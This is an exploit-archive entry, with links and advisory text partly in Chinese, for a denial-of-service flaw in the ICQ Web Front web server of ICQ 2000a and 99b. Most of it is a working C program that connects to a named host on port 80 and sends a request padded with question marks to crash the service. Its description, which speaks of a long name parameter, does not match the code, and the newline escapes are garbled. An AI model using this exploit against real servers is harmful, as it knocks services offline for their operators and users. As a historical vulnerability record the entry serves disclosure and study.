https://www.exploit-db.com/exploits/20071
https://www.securityfocus.com/bid/88453
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200012-030

ICQWebFrontHTTPd存在漏洞。远程攻击者通过请求包含“？”字符的URL导致服务拒绝。

source: http://www.securityfocus.com/bid/1463/info

The guestbook CGI program in ICQ Web Front service for ICQ 2000a, 99b, and others allows remote attackers to cause a denial of service via a URL with a long name parameter.

/* ICQ Web Front DoS */

#include <sys/socket.h> 
#include <stdio.h> 
#include <netinet/in.h>
#include <netdb.h>

void main(int argc, char *argv[]) 
{ 
  int sock;
  struct in_addr addr; 
  struct sockaddr_in sin; 
  struct hostent *he; 
  unsigned long start; 
  unsigned long end; 
  unsigned long counter;  
  
  /* added extra ? to be on the safe side :) */
  char xploitstr1[50]="GET /?????????? HTTP/1.0 nn";
  
  
  printf("ICQ Web Front DoS - author: char0hlz/tPGn");  
  printf("The Poor Gurus' Network [http://www.tpgn.net]n");

  if (argc<2) 
  { 
    printf("usage: %s <hostname>n", argv[0]); 
    exit(0); 
  } 
  if ((he=gethostbyname(argv[1])) == NULL) 
  { 
    herror("gethostbyname"); 
    exit(0); 
  }  
    start=inet_addr(argv[1]); 
    counter=ntohl(start); 
    sock=socket(AF_INET,SOCK_STREAM,0); 
    bcopy(he->h_addr,(char *)&sin.sin_addr, he->h_length); 
    sin.sin_family=AF_INET; 
    sin.sin_port=htons(80); 
    if (connect(sock,(struct sockaddr*)&sin,sizeof(sin))!=0) 
    { 
      perror("pr0blemz"); 
    } 
    send(sock,xploitstr1,strlen(xploitstr1),0);
    close(sock);
    
   printf("Done. Refresh the page to see if it worked.n"); 
}

Mirabilis Icq Web Front Windows 9X

来源:XF
名称:icq-webfront-url-dos
链接:http://xforce.iss.net/static/5332.php
来源:BUGTRAQ
名称:20001007ICQWebFrontHTTPdDoS
链接:http://www.securityfocus.com/archive/1/138332